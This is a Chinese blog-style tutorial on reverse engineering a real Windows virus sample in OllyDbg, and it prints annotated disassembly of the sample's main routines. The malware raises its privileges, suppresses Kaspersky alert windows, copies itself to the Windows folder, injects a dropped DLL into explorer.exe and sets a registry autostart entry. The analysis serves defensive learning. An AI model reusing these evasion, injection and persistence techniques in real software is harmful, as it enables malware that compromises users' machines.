简单病毒样本分析

来源:互联网 发布:ar软件下载 编辑:程序博客网 时间:2024/05/16 13:04

在某群里下载了一个病毒的样本,好久不看样本了,下载下来玩玩吧。希望自己还能搞定它。

 

病毒样本分析大致分为两种,一种是行为分析,一种是逆向分析。

 

行为分析主要是通过系统监控软件,监控系统中各资源或环境的变化,比如监控注册表、监控文件、监控进程,以及监控网络等。当然了,还可以通过HIPS软件来监控病毒的行为。各类系统监控工具或者是HIPS软件都是在系统的不同层面上进行了不同方式的HOOK。比如说在内核层进行HOOK,在应用层进行HOOKHOOK的方式也是多样化的,比如直接HOOK API函数,或者HOOK SSDT表中的内核函数。

 

逆向分析主要是通过静态分析或者动态调试来查看病毒的反汇编代码,通过断点或者单步来观察病毒的内存数据、寄存器数据等相关内容。

 

行为分析可以快速的确定病毒的行为从而写出专杀工具,但是对于感染型的病毒是无法通过行为分析进行分析的,或者病毒需要某些触发条件才能执行相应的动作,这样因为系统环境的因素,也无法通过行为分析得到病毒的行为特征。逆向分析通过查看病毒的各个分支流程可以完整的、全面的查看病毒的各个流程,包括病毒需要在某些条件下才被触发的流程,都可以通过查看反汇编代码进行查看。但是,对于病毒的逆向分析需要有Windows的开发能力,需要有阅读汇编的代码。相对于行为分析来讲,要求的技术含量更高一些。

 

我们通过一个真实的病毒样本,进行一次逆向分析,希望可以对病毒分析的入门者有一定的帮助。

 

 

下载到样本后,放置到虚拟机中,虚拟机最好也处于断网情况,因为我们不确定病毒到底有哪些行为。由于我们是逆向分析,即使一些需要连网后才有的病毒行为,我们也能通过反汇编代码一览无余。放置在虚拟机中后,我们例行用PEID查壳之。幸运的是这个病毒没有,而且是用VC编写的。

 

由于无壳,省去了脱壳的步骤。我们用OD载入病毒,由于是VC编写的直接跳过VC的启动函数,来到真正的病毒代码处,有点分析经验的人都能一眼看出哪些部分是VC的启动代码,关于如何跳过病毒的启动代码就不介绍了。我们直接来到病毒的代码处,病毒的代码如下所示(为了保证代码的美观,我去掉了OD中机器码的那一列,把注释列放到了对应代码的上一行)

00401457   PUSH EBP

00401458   MOV EBP,ESP

0040145A   SUB ESP,418

00401460   PUSH EBX

00401461   PUSH ESI

00401462   PUSH EDI

00401463   CALL 00401160

 

00401457地址处是病毒代码的开始位置,也就是我们在用VC写代码是的main()函数处。在00401463地址处的代码CALL 00401160是调用了一个函数,我们查看被调用函数的代码,代码如下:

00401160   PUSH EBP

00401161   MOV EBP,ESP

00401163   SUB ESP,1C

00401166   LEA EAX,DWORD PTR SS:[EBP-4]

00401169   PUSH EAX

0040116A   PUSH 28

; kernel32.GetCurrentProcess

0040116C   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>]

00401172   PUSH EAX

; ADVAPI32.OpenProcessToken

00401173   CALL DWORD PTR DS:[<&ADVAPI32.OpenProces>]

00401179    TEST EAX,EAX

0040117B   JE SHORT 004011CC

0040117D   LEA EAX,DWORD PTR SS:[EBP-C]

00401180   PUSH EAX

           ; ASCII "SeDebugPrivilege"

00401181   PUSH 00403148

00401186   PUSH 0

           ; ADVAPI32.LookupPrivilegeValueA

00401188   CALL DWORD PTR DS:[<&ADVAPI32.LookupPriv>]

0040118E   TEST EAX,EAX

00401190   JNZ SHORT 0040119D

00401192   PUSH DWORD PTR SS:[EBP-4]

; kernel32.CloseHandle

00401195   CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>]

0040119B   LEAVE

0040119C   RETN

 

从代码中我们可以看出,00401160地址处的函数依次调用了如下的API函数,分别是:GetCurrentProcess()->OpenProcessToken()->LookupPrivilegeValueA()->CloseHandle()。从前三个函数我们可以看出,这个函数的作用是调整当前进程的权限,我们配合00401181地址处入栈的字符串“SeDebugPrivilege”可以看出,这个函数将当前进程的权限调整为具有调试的权限。

 

回到前面继续看我们病毒的主流程,接着上面的代码如下:

00401468   MOV ESI,103

; [ebp - 418]保存系统目录

0040146D   LEA EAX,DWORD PTR SS:[EBP-418]

00401473   PUSH ESI

00401474   PUSH EAX

; kernel32.GetSystemDirectoryA

00401475   CALL DWORD PTR DS:[<&KERNEL32.GetSystemDirector>]

; [ebp - 314]保存Windows目录

0040147B   LEA EAX,DWORD PTR SS:[EBP-314]                 

00401481   PUSH ESI

00401482   PUSH EAX

; kernel32.GetWindowsDirectoryA

00401483   CALL DWORD PTR DS:[<&KERNEL32.GetWindowsDirecto>]

; [ebp - 10c]保存当前病毒文件的路径(包含病毒文件名)

00401489   LEA EAX,DWORD PTR SS:[EBP-10C]

0040148F   PUSH ESI

00401490   XOR EBX,EBX

00401492   PUSH EAX

00401493   PUSH EBX

           ; kernel32.GetModuleFileNameA

00401494   CALL DWORD PTR DS:[<&KERNEL32.GetModuleFileName>]

           ; MSVCRT.strrchr

0040149A   MOV EDI,DWORD PTR DS:[<&MSVCRT.strrchr>]

004014A0   LEA EAX,DWORD PTR SS:[EBP-10C]

004014A6   PUSH 5C

004014A8   PUSH EAX

从右找出第一个"\"的位置

004014A9   CALL EDI

004014AB   POP ECX

004014AC   CMP EAX,EBX

004014AE   POP ECX

004014AF   JE SHORT 004014B3

得到病毒的当前路径

004014B1   MOV BYTE PTR DS:[EAX],BL

004014B3   PUSH 1

           ; 此处是对麦克风设备进行设置,这里没有详细看

004014B5   CALL 004016AC

004014BA   POP ECX

004014BB   PUSH EBX

004014BC   PUSH EBX

004014BD   PUSH EBX

004014BE   PUSH 00401349

004014C3   PUSH 400

004014C8   PUSH EBX

           ; kernel32.CreateThread

004014C9   CALL DWORD PTR DS:[<&KERNEL32.CreateThread>]

 

看到该处反汇编代码处,我们可以看出,病毒获得了系统目录及Windows目录的路径,还有病毒的当前路径,以及病毒的文件名。在004014c9地址处,调用了CreateThread()函数,该函数用来创建一个线程。CreateThread()函数的函数原型如下:

HANDLE CreateThread(

  LPSECURITY_ATTRIBUTESlpThreadAttributes, // SD

  DWORD dwStackSize,                        // initial stack size

  LPTHREAD_START_ROUTINElpStartAddress,    // thread function

  LPVOID lpParameter,                       // thread argument

  DWORD dwCreationFlags,                    // creation option

  LPDWORD lpThreadId                        // thread identifier

);

CreateThread()函数的第三个参数是线程函数的地址,由于WIN32 API的调用方式是stdcall方式,因此函数的入栈方式是从右至左,那么线程的函数地址是在004014be的指令给出,该处的指令为push 00401349。既然知道了线程函数的地址是401349,那么我们就看一下这个线程函数的代码完成了什么样的功能,代码如下:

00401349   PUSH EBP

0040134A   MOV EBP,ESP

0040134C   PUSH ECX

0040134D   PUSH ECX

0040134E   PUSH EBX

0040134F   PUSH ESI

00401350   PUSH EDI

00401351   NOP

; USER32.SendMessageA

00401352   MOV ESI,DWORD PTR DS:[<&USER32.SendMessageA>]

……

00401367   PUSH EDI

; ASCII "AVP.AlertDialog"

00401368   PUSH 00403134

; USER32.FindWindowA

0040136D   CALL DWORD PTR DS:[<&USER32.FindWindowA>]

……

00401384   PUSH EDI

00401385   PUSH EAX

; USER32.FindWindowExA

00401386   CALL DWORD PTR DS:[<&USER32.FindWindowExA>]

……

004013AA   PUSH EDI

004013AB   PUSH EDI

004013AC   PUSH DWORD PTR SS:[EBP-8]

; USER32.FindWindowExA

004013AF   CALL DWORD PTR DS:[<&USER32.FindWindowExA>]

……

; USER32.FindWindowExA

004013D8    CALL DWORD PTRDS:[<&USER32.FindWindowExA>]

……

004013FD   PUSH EDI

004013FE   PUSH DWORD PTR SS:[EBP-8]

; USER32.FindWindowExA

00401401   CALL DWORD PTR DS:[<&USER32.FindWindowExA>]

……

00401420   PUSH EDI

; ASCII "AVP.Product_Notification"

00401421   PUSH 004030DC

; USER32.FindWindowA

00401426   CALL DWORD PTR DS:[<&USER32.FindWindowA>]

……

0040143C   PUSH EDI

; USER32.FindWindowA

0040143D   CALL DWORD PTR DS:[<&USER32.FindWindowA>]

……

0040144F   PUSH EAX

00401450   CALL ESI

00401452   JMP 0040135F

从该反汇编代码处我们能看出,整个线程函数处于一个死循环中,因为函数的最后一句代码00401452 jmp 0040135f是一个向上的跳转指令。在循环中基本上只完成了一个任务,也就是不断的查找(查找窗口调用的是FindWindowEx()函数)某个窗口,只要找到那个窗口就调用SendMessage函数向它发送消息。通过它查找的窗口是“AVP.AlertDialog”和“AVP.Product_Notification”,说明这段代码是通过发送消息来躲过特定杀毒软件的主动防御。我们接着看病毒的主要流程,代码如下:

004014CF   LEA EAX,DWORD PTR SS:[EBP-314]

           ; windows目录

004014D5   PUSH EAX

004014D6   LEA EAX,DWORD PTR SS:[EBP-10C]

病毒当前目录

004014DC   PUSH EAX

; MSVCRT._stricmp

004014DD   CALL DWORD PTR DS:[<&MSVCRT._stricmp>]

004014E3   POP ECX

004014E4   TEST EAX,EAX

004014E6   POP ECX

这个分支很重要,它判断病毒的所在位置

004014E7   JNZ 00401612                                        

 

这段代码是判断病毒的当前位置,病毒的当前位置决定了病毒的流程走向。这是在病毒中一个很重要的分支。由于目前病毒不处于C:\windows目录下,那么流程必然会跳走,我们先来看跳走的流程,返回来在继续查看未跳走的流程。

; MSVCRT.sprintf

00401612    MOV EDI,DWORD PTRDS:[<&MSVCRT.sprintf>]

00401618    LEA EAX,DWORD PTRSS:[EBP-314]

; ASCII "mppds.exe"

0040161E    PUSH 00403020                                     

00401623    PUSH EAX

00401624    LEA EAX,DWORD PTRSS:[EBP-210]

            ; ASCII"%s\%s"

0040162A    PUSH 0040307C

0040162F    PUSH EAX

00401630    CALL EDI

00401632    ADD ESP,10

            ; 保存病毒路径

00401635    LEA EAX,DWORD PTRSS:[EBP-10C]

0040163B    PUSH ESI

0040163C    PUSH EAX

0040163D    PUSH EBX

; kernel32.GetModuleFileNameA

0040163E    CALL DWORD PTRDS:[<&KERNEL32.GetModuleFileNameA>]

00401644    LEA EAX,DWORD PTRSS:[EBP-210]

0040164A    PUSH EBX

0040164B    PUSH EAX

0040164C    LEA EAX,DWORD PTRSS:[EBP-10C]

00401652    PUSH EAX

            ;kernel32.CopyFileA

00401653    CALL DWORD PTRDS:[<&KERNEL32.CopyFileA>]

; kernel32.GetCurrentProcessId

00401659    CALL DWORD PTRDS:[<&KERNEL32.GetCurrentProcessId>]

0040165F    PUSH EAX

00401660    LEA EAX,DWORD PTRSS:[EBP-10C]

00401666    PUSH 40

00401668    PUSH EAX

00401669    LEA EAX,DWORD PTRSS:[EBP-210]

0040166F    PUSH 40

00401671    PUSH EAX

00401672    8D85 ECFCFFFF   LEA EAX,DWORD PTR SS:[EBP-314]

; ASCII "%s %c%s%c%d"

00401678    PUSH 004030B4

0040167D    PUSH EAX

0040167E    CALL EDI

00401680    ADD ESP,1C

00401683    LEA EAX,DWORD PTRSS:[EBP-314]

00401689    PUSH EBX

以带参数的方式启动拷贝到C盘的mppds.exe文件

0040168A    PUSH EAX

; kernel32.WinExec

0040168B    CALL DWORD PTRDS:[<&KERNEL32.WinExec>]            

上面的反汇编代码调用了CopyFile()函数将自身拷贝到Windows目录下,并且调用WinExec()函数启动拷贝到Windows目录下的mppds.exe ,在启动的时候为mppds.exe带了参数,对WinExec()的调用栈如下所示:

0012FAF8  0012FC10  |CmdLine ="C:\WINDOWS\mppds.exe @C:\Documents and Settings\Administrator\桌面\4sy.exe@1488"

0012FAFC  00000000  \ShowState = SW_HIDE

 

我们关闭当前OD,不要让病毒以该参数启动,我们启动另外一个OD来调试Windows目录下的mppds.exe,并且调试时带上如上的参数。我们直接运行到那个关键的跳转处,继续往下执行,反汇编代码如下:

             ; kernel32.GetCommandLineA

004014ED    CALL DWORD PTRDS:[<&KERNEL32.GetCommand>]

……

省略了中间的代码是得到参数中病毒原来的位置

00401542    ADD ESP,18

00401545    MOV BYTE PTR SS:[EBP+EDI-10D],BL

0040154C    PUSH DWORD PTR SS:[EBP-4]

0040154F    PUSH EBX

00401550    PUSH 1F0FFF

            ; kernel32.OpenProcess

00401555    CALL DWORD PTRDS:[<&KERNEL32.OpenProces>]

……

00401561    PUSH EBX

00401562    PUSH EDI

            ; kernel32.TerminateProcess

00401563    CALL DWORD PTRDS:[<&KERNEL32.TerminateP>]

00401569    PUSH -1

0040156B    PUSH EDI

; kernel32.WaitForSingleObject

0040156C    CALL DWORD PTRDS:[<&KERNEL32.WaitForSin>]

00401572    LEA EAX,DWORD PTR SS:[EBP-10C]

00401578    PUSH EAX

            ; kernel32.DeleteFileA

00401579    CALL DWORD PTRDS:[<&KERNEL32.DeleteFile>]

0040157F    TEST EAX,EAX

00401581    JNZ SHORT 0040158D

00401583    PUSH 1

            ; kernel32.Sleep

00401585    CALL DWORD PTRDS:[<&KERNEL32.Sleep>]

0040158B    JMP SHORT 00401572

上面的代码是GetCommandLine()函数得到病毒的原来的位置,然后通过OpenProcess()TerminateProcess()两个函数结束掉原来病毒的进程,然后调用DeleteFile()函数删除原来的病毒。

            ; ASCII "explorer.exe"

0040158D    PUSH 004030C4

            ; 该函数用来查找explorer.exe进程的PID

00401592    CALL 00401000

……

            ; 释放mppds.dll文件

004015CD    CALL 0040109C

……

             ; 注入mppds.dllexplorer.exe进程

004015E6    CALL 004011F9

……

            ; mppds.exe写入注册表的启动项

00401609    CALL 004017A5

……

            ; 病毒的另一个关键分支执行完毕

00401610    JMP SHORT 00401691

 

00401592地址处的CALL是调用了一个函数,其函数的作用是获得explorer.exe进程的PID,在其反汇编代码中依次调用了几个函数:

CreateToolhelp32Snapshot()->Process32First()->Process32Next()->CloseHandle(),这个是个典型的遍历系统进程的代码,而在遍历的过程中始终在拿进程名与“explorer.exe”进行比较,如果相等的会则结束遍历过程,并返回explorer.exe进程的PID

 

004015cd处的CALL调用的函数是释放一个DLL文件到系统路径,其反汇编代码中依次调用了如下几个函数:

FindResource()->SizeofResource()->LoadResource()->SetHandleCount()->fopen()->fwrite()->fclose()。这也是一个典型的通过资源释放文件的过程,该过程从mppds.exe文件的资源中释放出mppds.dll文件到系统目录下。

 

004015e6地址处的CALL调用的函数是将释放出来的mppds.dll文件注入到explorer.exe进程中,也就是说地址401592CALL和地址15cdCALL,是为当前地址的注入做准备的。在分析代码时我们可以看一些主要的代码,整个功能也就明白了,004015e6地址处CALL的函数中调用了CreateRomoteThread()函数,通过这一个函数我们就能确定该函数的目的是用来进行注入的。

 

00401609地址处的CALL是将病毒的加入到注册表的启动项中,因为在这个CALL中调用了注册表操作相关的函数,另外配合几个字符串常量,我们就很容易的发现了该函数的作用了。

 

到这里,整个病毒的功能我们就分析完成了,至于释放出来的mppds.dll的功能这里就不再继续分析了。我们这里完整的分析了一个病毒,从我们分析的过程中可以看出,熟悉Win32 API和一些编程知识对于我们分析病毒是非常有帮助的。在反病毒厂商招聘病毒分析师时其中就要求熟悉Win32 APIC语言、汇编语言等知识。如果有对反病毒有兴趣的朋友,可以到一些反病毒网站参考一下他们关于病毒分析的招聘要求,就可以有方向性的进行学习了。希望这篇文章能给你带来帮助。

原创粉丝点击